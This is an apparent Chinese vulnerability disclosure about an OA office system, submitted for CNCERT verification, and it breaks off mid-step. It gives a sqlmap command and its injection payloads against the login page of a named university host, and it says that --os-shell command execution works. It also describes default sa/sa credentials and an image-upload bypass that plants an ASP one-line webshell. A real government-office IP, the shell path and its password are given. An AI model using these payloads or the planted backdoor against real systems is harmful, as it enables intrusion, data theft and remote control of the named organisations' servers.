某OA系统SQL注射+后台getshell 第一次提交通用型漏洞 好紧张啊[拜拜]

【SQL注射】

这套OA系统登陆页存在SQL注射，测试了几个发现后端均为MSSQL，且大部分可以--os-shell执行命令。

注射点:

http://VICTIM.COM/loginverify.asp

POST数据:

Digest=&urlFrom=&username=admin&password=admin&Memo=1

username参数存在SQL注射。

实例:
 

sqlmap.py -u "http://oa.tjfsu.edu.cn/loginverify.asp" --data "Digest=&urlFrom=&username=admin&password=admin&Memo=1" -p username

sqlmap identified the following injection points with a total of 90 HTTP(s) requests:
---
Place: POST
Parameter: username
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: Digest=&urlFrom=&username=admin' AND 2836=CONVERT(INT,(SELECT CHAR(113)+CHAR(111)+CHAR(120)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (2836=2836) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(103)+CHAR(108)+CHAR(100)+CHAR(113))) AND 'HQUn'='HQUn&password=admin&Memo=1

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: Digest=&urlFrom=&username=admin'; WAITFOR DELAY '0:0:5'--&password=admin&Memo=1

    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: Digest=&urlFrom=&username=admin' WAITFOR DELAY '0:0:5'--&password=admin&Memo=1
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005

sqlmap --dbs后均可发现叫做"HaiTianOA"的库，其中的"VO_UserInfor"表储存了可用于登录的管理员的帐号与密码(多数有sa/sa。有的密码是明文的，有的是BASE64加密的)。

请CNCERT自行验证更多实例。

【后台getshell】

以sa/sa登录上海市市容环境卫生汽车运输处(http://180.166.7.94/)为例

登录后点击"资讯内容维护"-"修改"

在编辑器中点击添加图片按钮，打开了"http://VICTIM.COM/ckeditor/tupianadd.asp"

将一句话木马的后缀修改为.jpg 上传，抓包并去掉.jpg

虽然返回HTTP500，但实际已经上传成功。

拼接可得到一句话木马地址: http://180.166.7.94/file/images/20147408067349.asp 密码helo

菜刀连接: